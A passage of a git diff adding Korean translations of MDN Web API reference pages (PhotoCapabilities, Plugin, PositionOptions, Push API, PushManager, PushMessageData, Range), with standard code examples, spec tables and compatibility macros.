+<p>다음 예제는 <a href="https://googlechrome.github.io/samples/image-capture/photo-resolution.html">Chrome의 Image Capture / Photo Resolution Sample</a>에서 가져온 코드로, {{domxref("ImageCapture.getPhotoCapabilities", "getPhotoCapabilities()")}}를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.</p>
+
+<pre class="brush: js">const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream =&gt; {
+ document.querySelector('video').srcObject = mediaStream;
+
+ const track = mediaStream.getVideoTracks()[0];
+ imageCapture = new ImageCapture(track);
+
+ return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities =&gt; {
+ const settings = imageCapture.track.getSettings();
+
+ input.min = photoCapabilities.imageWidth.min;
+ input.max = photoCapabilities.imageWidth.max;
+ input.step = photoCapabilities.imageWidth.step;
+
+ return imageCapture.getPhotoSettings();
+})
+.then(photoSettings =&gt; {
+ input.value = photoSettings.imageWidth;
+})
+.catch(error =&gt; console.log('Argh!', error.name || error));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image','#photocapabilities-section','PotoCapabilities')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.PhotoCapabilities")}}</p>
+</div>
diff --git a/files/ko/web/api/plugin/index.html b/files/ko/web/api/plugin/index.html
new file mode 100644
index 0000000000..68828f0b69
--- /dev/null
+++ b/files/ko/web/api/plugin/index.html
@@ -0,0 +1,67 @@
+---
+title: Plugin
+slug: Web/API/Plugin
+tags:
+ - API
+ - Add-ons
+ - DOM
+ - NeedsContent
+ - Plug-in
+ - Plugins
+translation_of: Web/API/Plugin
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>플러그 인 인터페이스는 브라우저 플러그 인에 대한 정보를 제공합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 플러그 인 개체의 고유 속성은 더 이상 최신 브라우저 버전에서 찾아볼 수 없습니다.</p>
+</div>
+
+<h2 id="Properties" name="Properties">특성</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>이름</th>
+ <th>설명</th>
+ <th>Return Type</th>
+ <th>유용성</th>
+ </tr>
+ <tr>
+ <td>{{domxref("Plugin.description")}}</td>
+ <td>
+ <p>플러그 인에 대한 읽기 쉬운 설명입니다. 읽기 전용입니다.</p>
+ </td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>DOM 0</td>
+ </tr>
+ <tr>
+ <td>{{domxref("Plugin.filename")}}</td>
+ <td>플러그 인 파일의 파일 이름. 읽기 전용입니다.</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>DOM 0</td>
+ </tr>
+ <tr>
+ <td>{{domxref("Plugin.name")}}</td>
+ <td>플러그 인의 이름. 읽기 전용입니다.</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>DOM 0</td>
+ </tr>
+ <tr>
+ <td>{{domxref("Plugin.version")}}</td>
+ <td>플러그 인의 버전 번호 문자열. 읽기 전용입니다.</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>Gecko browsers only (Firefox 4+)</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">방법</h2>
+
+<dl>
+ <dt>{{domxref("Plugin.item")}}</dt>
+ <dd>지원되는 유형의 목록에 인덱스 번호를 부여한 경우 지원되는 콘텐츠 유형의 MIME형식을 반환합니다.</dd>
+ <dt>{{domxref("Plugin.namedItem")}}</dt>
+ <dd>지원되는 항목의 MIME유형을 반환합니다.</dd>
+</dl>
diff --git a/files/ko/web/api/positionoptions/index.html b/files/ko/web/api/positionoptions/index.html
new file mode 100644
index 0000000000..6e53dde993
--- /dev/null
+++ b/files/ko/web/api/positionoptions/index.html
@@ -0,0 +1,64 @@
+---
+title: PositionOptions
+slug: Web/API/PositionOptions
+tags:
+ - API
+ - Geolocation API
+ - Interface
+ - PositionOptions
+ - Reference
+ - Secure context
+translation_of: Web/API/PositionOptions
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>PositionOptions</code></strong> 인터페이스는 {{domxref("Geolocation.getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition()")}}의 매개변수로 전달할 옵션 속성을 포함한 개체를 나타냅니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em><code>PositionOptions</code></em> <em>인터페이스는 어떤 속성도 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("PositionOptions.enableHighAccuracy")}} {{securecontext_inline}}</dt>
+ <dd>위치정보를 가장 높은 정확도로 수신하고 싶음을 나타내는 {{domxref("Boolean")}}입니다. 이 값이 <code>true</code>이고, 장치도 지원한다면 더 정확한 위치정보를 받을 수 있습니다. 그러나 느린 응답 속도와, 모바일 장치에서의 전력 소모량 증가는 주의해야 합니다. 반대로, 값이 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>면 기기가 더 빠르게 반응하고 전력 소모도 줄일 수 있습니다. 기본값은 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>입니다.</dd>
+ <dt>{{domxref("PositionOptions.timeout")}} {{securecontext_inline}}</dt>
+ <dd>기기가 위치를 반환할 때 소모할 수 있는 최대 시간을 밀리초로 나타내는 양의 <code>long</code> 값입니다. 기본값은 {{jsxref("Infinity")}}로, 위치정보를 알아낼 때까지 <code>getCurrentPosition()</code>의 성공 콜백을 호출하지 않습니다.</dd>
+ <dt>{{domxref("PositionOptions.maximumAge")}} {{securecontext_inline}}</dt>
+ <dd>캐시에 저장한 위치정보를 대신 반환할 수 있는 최대 시간을 밀리초로 나타내는 양의 <code>long</code> 값입니다. <code>0</code>으로 설정하면 장치가 사전에 미리 저장한 위치를 사용하지 않고, 항상 현재 위치를 검색합니다. {{jsxref("Infinity")}}로 설정하면 지난 시간에 상관없이 캐시에 저장한 위치를 반환합니다. 기본값은 0입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>PositionOptions</code> 인터페이스는 어떤 메서드도 구현하거나 상속하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}</td>
+ <td>{{Spec2('Geolocation')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.PositionOptions")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API">Geolocation API</a></li>
+ <li>이 인터페이스를 사용하는 {{domxref("Geolocation")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/push_api/index.html b/files/ko/web/api/push_api/index.html
new file mode 100644
index 0000000000..6daed1c115
--- /dev/null
+++ b/files/ko/web/api/push_api/index.html
@@ -0,0 +1,118 @@
+---
+title: Push API
+slug: Web/API/Push_API
+translation_of: Web/API/Push_API
+---
+<div>{{DefaultAPISidebar("Push API")}}</div>
+
+<p class="summary"><strong>Push API</strong>는 웹 애플리케이션이 현재 로딩이 되어 있지 않더라도 서버로부터 메시지를 받을 수 있도록 하는 기능이다. 이는 개발자들이 비동기적으로 사용자에게 새로운 내용을 시기적절하게 전달할 수 있도록 만들어 준다.</p>
+
+<h2 id="Push_콘셉트와_사용처">Push 콘셉트와 사용처</h2>
+
+<div class="warning">
+<p>PushManager를 수행할 때,  해당 애플리케이션에 CSRF/XSRF 이슈에 대한 대응책을 마련해놓아야 한다: </p>
+
+<ul>
+ <li><a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</a></li>
+ <li><a href="https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/">Preventing CSRF and XSRF Attacks</a></li>
+</ul>
+</div>
+
+<p>애플리케이션이 push 메시지를 받기 위해서, <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>를 활성화한다. </p>
+
+<p>{{domxref("PushManager.subscribe()")}}.</p>
+
+<p>{{domxref("PushSubscription")}}에 애플리케이션이 보내야 하는 push메시지를 담고, (엔드포인트와 암호화키가 필요)</p>
+
+<p>service worker는{{domxref("ServiceWorkerGlobalScope.onpush")}} 라는 이벤트 핸들러로부터 전달되는 push 메시지를 처리하기 시작한다.</p>
+
+<p>각 요청은 <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>:(당신의 애플리케이션)을 특정하여 엔드포인트를 구성하기 때문에 엔드포인트 URL은 보안에 신경을 써야 하며, 그렇지 않을 경우 다른 애플리케이션에서 당신의 애플리케이션에 push 메시지를 보낼 가능성도 있다. </p>
+
+<p>push 메시지를 전달하기 위해 service worker를 활성화하는 건, 리소스 사용이 늘어나는 결과를 가져오기 때문에, 특히 배터리 사용에 영향을 미친다. 한편 push메시지 처리를 위해 브라우저 간 다른 스키마를 가지기 때문에, 표준화된 메커니즘이 없다. Firefox는 한정된 숫자(quota)만을 push 메시지로 보내도록 해 놓았다. 이러한 제한은 사이트에 방문할 때마다 초기화되며, Chrome은 제한이 없으며 모든 push 메시지가 보이도록 한다. </p>
+
+<div class="note">
+<p><strong>Note</strong>: Gecko 44에 따르면, 각 애플리케이션에 할당된 quota는 3초 정도 다른 알림이 보이는 상태일 때, 새로운 알림이 발생해도 중가하지 않는다. </p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Chrome 52 이전 버전은 push메시지 활용을 위해선 <a href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a>에 프로젝트를 세팅해야 하며 한편 push 메시지를 보낼 때 프로젝트 번호 및 API 키를 활용하도록 권장한다. app manifest에 서비스 활용에 필요한 특정 패러미터를 정의해야 한다.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("PushEvent")}}</dt>
+ <dd>Represents a push action, sent to the <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">global scope</a> of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.</dd>
+ <dt>{{domxref("PushManager")}}</dt>
+ <dd>Provides a way to receive notifications from third-party servers, as well as request URLs for push notifications. This interface has replaced the functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.</dd>
+ <dt>{{domxref("PushMessageData")}}</dt>
+ <dd>Provides access to push data sent by a server, and includes methods to manipulate the received data.</dd>
+ <dt>{{domxref("PushSubscription")}}</dt>
+ <dd>Provides a subcription's URL endpoint, and allows unsubscription from a push service.</dd>
+</dl>
+
+<h2 id="Service_worker_additions">Service worker additions</h2>
+
+<p>The following additions to the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt>
+ <dd>An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt>
+ <dd>An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Mozilla's <a href="https://serviceworke.rs/">ServiceWorker Cookbook</a> contains many useful Push examples.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Push API")}}</td>
+ <td>{{Spec2("Push API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="PushEvent"><code>PushEvent</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.PushEvent")}}</p>
+
+<h3 id="PushMessageData"><code>PushMessageData</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.PushMessageData")}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Sending VAPID identified WebPush Notifications via Mozilla’s Push Service</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/">Web Push Notifications: Timely, Relevant, and Precise</a>, Joseph Medley</li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
+
+<div>{{DefaultAPISidebar("Push API")}}</div>
diff --git a/files/ko/web/api/pushmanager/index.html b/files/ko/web/api/pushmanager/index.html
new file mode 100644
index 0000000000..f42fb127ab
--- /dev/null
+++ b/files/ko/web/api/pushmanager/index.html
@@ -0,0 +1,111 @@
+---
+title: PushManager
+slug: Web/API/PushManager
+tags:
+ - API
+ - Experimental
+ - Interface
+ - Push
+ - Push API
+ - Reference
+ - Service Workers
+ - 푸시
+ - 푸시 알림
+translation_of: Web/API/PushManager
+---
+<p>{{ApiRef("Push API")}}</p>
+
+<p><a href="/ko/docs/Web/API/Push_API">Push API</a>의 <strong><code>PushManager</code></strong> 인터페이스는 서드파티 서버에서 알림을 수신하거나, URL에 푸시 알림을 요청하는 방법을 제공합니다.</p>
+
+<p><code>PushManager</code>는 {{domxref("ServiceWorkerRegistration.pushManager")}} 속성으로 접근할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.supportedContentEncodings")}}</dt>
+ <dd>푸시 메시지의 페이로드를 암호화할 때 지원하는 콘텐츠 인코딩의 목록을 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.getSubscription()")}}</dt>
+ <dd>기존의 푸시 구독을 가져옵니다. 해당 구독에 대한 상세 정보를 담은 {{domxref("PushSubscription")}} 객체를 {{jsxref("Promise")}}로 반환합니다. 구독이 존재하지 않으면 프로미스는 <code>null</code>로 이행합니다.</dd>
+ <dt>{{domxref("PushManager.permissionState()")}}</dt>
+ <dd>PushManager의 허가 상태로 이행하는 {{jsxref("Promise")}}를 반환합니다. 상태는 <code>'granted'</code>, <code>'denied'</code>, <code>'prompt'</code> 중 하나입니다.</dd>
+ <dt>{{domxref("PushManager.subscribe()")}}</dt>
+ <dd>푸시 서비스에 구독합니다. 해당 구독에 대한 상세 정보를 담은 {{domxref("PushSubscription")}} 객체를 {{jsxref("Promise")}}로 반환합니다. 현재 서비스 워커에 이전 구독이 존재하지 않으면 새로운 푸시 구독을 생성합니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("PushManager.hasPermission()")}} {{deprecated_inline}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to the <code>PushPermissionStatus</code> of the requesting webapp, which will be one of <code>granted</code>, <code>denied</code>, or <code>default</code>. Replaced by {{domxref("PushManager.permissionState()")}}.</dd>
+ <dt>{{domxref("PushManager.register()")}} {{deprecated_inline}}</dt>
+ <dd>Subscribes to a push subscription. Replaced by {{domxref("PushManager.subscribe()")}}.</dd>
+ <dt>{{domxref("PushManager.registrations()")}} {{deprecated_inline}}</dt>
+ <dd>Retrieves existing push subscriptions. Replaced by {{domxref("PushManager.getSubscription()")}}.</dd>
+ <dt>{{domxref("PushManager.unregister()")}} {{deprecated_inline}}</dt>
+ <dd>Unregisters and deletes a specified subscription endpoint. In the updated API, a subscription is unregistered by calling the {{domxref("PushSubscription.unsubscribe()")}} method.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js notranslate">this.onpush = function(event) {
+ console.log(event.data);
+ // From here we can write the data to IndexedDB, send it to any open
+ // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+ function(serviceWorkerRegistration) {
+ serviceWorkerRegistration.pushManager.subscribe().then(
+ function(pushSubscription) {
+ console.log(pushSubscription.endpoint);
+ // The push subscription details needed by the application
+ // server are now available, and can be sent to it using,
+ // for example, an XMLHttpRequest.
+ }, function(error) {
+ // During development it often helps to log errors to the
+ // console. In a production environment it might make sense to
+ // also report information about errors back to the
+ // application server.
+ console.log(error);
+ }
+ );
+ });</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Push API','#pushmanager-interface','PushManager')}}</td>
+ <td>{{Spec2('Push API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.PushManager")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Push_API">Push API</a></li>
+ <li><a href="/ko/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
diff --git a/files/ko/web/api/pushmessagedata/index.html b/files/ko/web/api/pushmessagedata/index.html
new file mode 100644
index 0000000000..61d786160b
--- /dev/null
+++ b/files/ko/web/api/pushmessagedata/index.html
@@ -0,0 +1,67 @@
+---
+title: PushMessageData
+slug: Web/API/PushMessageData
+translation_of: Web/API/PushMessageData
+---
+<p>{{APIRef("Push API")}}{{SeeCompatTable()}}</p>
+
+<p>The <code><strong>PushMessageData</strong></code> interface of the <a href="/en-US/docs/Web/API/Push_API">Push API</a> provides methods which let you retrieve the push data sent by a server in various formats.</p>
+
+<p>Unlike the similar methods in the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, which only allow the method to be invoked once, these methods can be called multiple times.</p>
+
+<p>Messages received through the Push API are sent encrypted by push services and then automatically decrypted by browsers before they are made accessible through the methods of the <code>PushMessageData</code> interface.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p>None.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("PushMessageData.arrayBuffer()")}}</dt>
+ <dd>Extracts the data as an {{domxref("ArrayBuffer")}} object.</dd>
+ <dt>{{domxref("PushMessageData.blob()")}}</dt>
+ <dd>Extracts the data as a {{domxref("Blob")}} object.</dd>
+ <dt>{{domxref("PushMessageData.json()")}}</dt>
+ <dd>Extracts the data as a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> object.</dd>
+ <dt>{{domxref("PushMessageData.text()")}}</dt>
+ <dd>Extracts the data as a plain text string.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+ var obj = event.data.json();
+
+ if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+ fireNotification(obj, event);
+ port.postMessage(obj);
+ } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+ port.postMessage(obj);
+ }
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Push API', '#pushmessagedata-interface', 'PushMessageData')}}</td>
+ <td>{{Spec2('Push API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.PushMessageData")}}</p>
+</div>
diff --git a/files/ko/web/api/range/index.html b/files/ko/web/api/range/index.html
new file mode 100644
index 0000000000..48f236762a
--- /dev/null
+++ b/files/ko/web/api/range/index.html
@@ -0,0 +1,142 @@
+---
+title: range
+slug: Web/API/Range
+tags:
+ - API
+ - DOM
+ - Reference
+translation_of: Web/API/Range
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Range</code></strong> 객체는 주어진 document 내의 텍스트 노드들의 부분들(parts)과 document의 단편화에 포함된 노드들을 나타내고 있다.</p>
+
+<p>Range 오브젝트는 <code><a href="ko/DOM/document">Document</a></code> 객체에 포함되어 있는 <code><a href="ko/DOM/document.createRange">createRange</a></code> 메소드를 사용하여 생성할 수 있다. 또한 <code><a href="ko/DOM/Selection">selection</a></code> 객체에 포함되어 있는 <code><a href="ko/DOM/Selection/getRangeAt">getRangeAt</a></code> 메소드를 사용하여 추출할 수 있다.</p>
+
+<p>{{domxref("Range.Range()", "Range()")}} 생성자 또한 사용 가능하다.</p>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<dl>
+ <dt><a href="ko/DOM/range.collapsed">collapsed</a></dt>
+ <dd>Range의 시작점과 끝점이 같인 위치인지를 알 수 있는 boolean 값을 반환한다.</dd>
+ <dt><a href="ko/DOM/range.commonAncestorContainer">commonAncestorContainer</a></dt>
+ <dd>startContainer와 endContainer 노드들을 포함한 최상위 노드를 반환한다.</dd>
+ <dt><a href="ko/DOM/range.endContainer">endContainer</a></dt>
+ <dd>Range의 끝 위치를 포함하는 Node를 반환한다.</dd>
+ <dt><a href="ko/DOM/range.endOffset">endOffset</a></dt>
+ <dd>endContainer 안에 있는 Range 끝을 나타내는 숫자(offset)를 반환한다.</dd>
+ <dt><a href="ko/DOM/range.startContainer">startContainer</a></dt>
+ <dd>Range의 시작 위치를 포함하는 Node를 반환한다.</dd>
+ <dt><a href="ko/DOM/range.startOffset">startOffset</a></dt>
+ <dd>startContainer 안에 있는 Range 시작을 나타내는 숫자(offset)를 반환한다.</dd>
+</dl>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}</dt>
+ <dd><code>Range</code> 객체의 시작과 끝에 따라 전역 {{domxref("Document")}} 와 함께 <code>Range</code> 객체를 반환한다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p><em>상속한 메서드는 없다.</em></p>
+
+<dl>
+ <dt>{{ domxref("Range.setStart()")}}</dt>
+ <dd><code>Range<font face="Open Sans, Arial, sans-serif"> 의 시작 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setEnd()")}}</dt>
+ <dd><code>Range<font face="Open Sans, Arial, sans-serif"> 의 끝 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setStartBefore()")}}</dt>
+ <dd>다른 {{ domxref("Node") }} 와 관계가 있는 <code>Range<font face="Open Sans, Arial, sans-serif"> 의 시작 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setStartAfter()")}}</dt>
+ <dd>다른 {{ domxref("Node") }} 와 관계가 있는 <code>Range<font face="Open Sans, Arial, sans-serif"> 의 시작 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setEndBefore()")}}</dt>
+ <dd>다른 {{ domxref("Node") }} 와 관계가 있는 <code>Range<font face="Open Sans, Arial, sans-serif"> 의 끝 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setEndAfter()")}}</dt>
+ <dd>다른 {{ domxref("Node") }} 와 관계가 있는 <code>Range<font face="Open Sans, Arial, sans-serif"> 의 끝 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.selectNode()")}}</dt>
+ <dd><code>Range<font face="Open Sans, Arial, sans-serif"> 에 </font></code>{{ domxref("Node") }} 와 그것의 내용물을 포함 시킨<code><font face="Open Sans, Arial, sans-serif">다</font></code>.</dd>
+ <dt>{{ domxref("Range.selectNodeContents()")}}</dt>
+ <dd><code>Range<font face="Open Sans, Arial, sans-serif"> 에 </font></code>{{ domxref("Node") }} 의 내용물을 포함 시킨<code><font face="Open Sans, Arial, sans-serif">다</font></code>.</dd>
+ <dt>{{ domxref("Range.collapse()")}}</dt>
+ <dd><code>Range</code> 의 경계 지점 중 하나로 영역을 붕괴 시킨다.</dd>
+ <dt>{{ domxref("Range.cloneContents()")}}</dt>
+ <dd><code>Range</code> 의 노드들을 복사하여 {{ domxref("DocumentFragment") }} 를 반환한다.</dd>
+ <dt>{{ domxref("Range.deleteContents()")}}</dt>
+ <dd>{{ domxref("Document") }} 로 부터 <code>Range</code> 의 컨텐츠들을 삭제한다.</dd>
+ <dt>{{ domxref("Range.extractContents()")}}</dt>
+ <dd>{{ domxref("Document") }} 트리로 부터 <code>Range</code> 의 컨텐츠들을 domxref("DocumentFragment") }} 로 이동시킨다.</dd>
+ <dt>{{ domxref("Range.insertNode()")}}</dt>
+ <dd><code>Range</code> 의 맨 앞에 {{ domxref("Node") }}를 삽입한다.</dd>
+ <dt>{{ domxref("Range.surroundContents()")}}</dt>
+ <dd>Moves content of a <code>Range</code> into a new {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.compareBoundaryPoints()")}}</dt>
+ <dd>Compares the boundary points of the <code>Range</code> with another <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.cloneRange()")}}</dt>
+ <dd>Returns a <code>Range</code> object with boundary points identical to the cloned <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.detach()")}}</dt>
+ <dd>Releases the <code>Range</code> from use to improve performance.</dd>
+ <dt>{{ domxref("Range.toString()")}}</dt>
+ <dd>Returns the text of the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}</dt>
+ <dd>Returns a constant representing whether the {{domxref("Node")}} is before, after, inside, or surrounding the range.</dd>
+ <dt>{{ domxref("Range.comparePoint()")}} {{experimental_inline}}</dt>
+ <dd>Returns -1, 0, or 1 indicating whether the point occurs before, inside, or after the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}</dt>
+ <dd>Returns a {{ domxref("DocumentFragment") }} created from a given string of code.</dd>
+ <dt>{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}</dt>
+ <dd>Returns a {{ domxref("ClientRect") }} object which bounds the entire contents of the <code>Range</code>; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.</dd>
+ <dt>{{ domxref("Range.getClientRects()") }} {{experimental_inline}}</dt>
+ <dd>Returns a list of {{ domxref("ClientRect") }} objects that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>boolean</code> indicating whether the given node intersects the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>boolean</code> indicating whether the given point is in the <code>Range</code>.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Do not use <code>RangeException</code> anymore, use <code>DOMException</code> instead.<br>
+ Made the second parameter of <code>collapse()</code> optional.<br>
+ Added the methods <code>isPointInRange()</code>, <code>comparePoint()</code>, and <code>intersectsNode()</code>.<br>
+ Added the constructor <code>Range()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+ <td>{{Spec2('DOM Parsing')}}</td>
+ <td>Added the method <code>createContextualFragment()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td>Added the methods <code>getClientRects()</code> and <code>getBoundingClientRect()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}</td>
+ <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Range")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
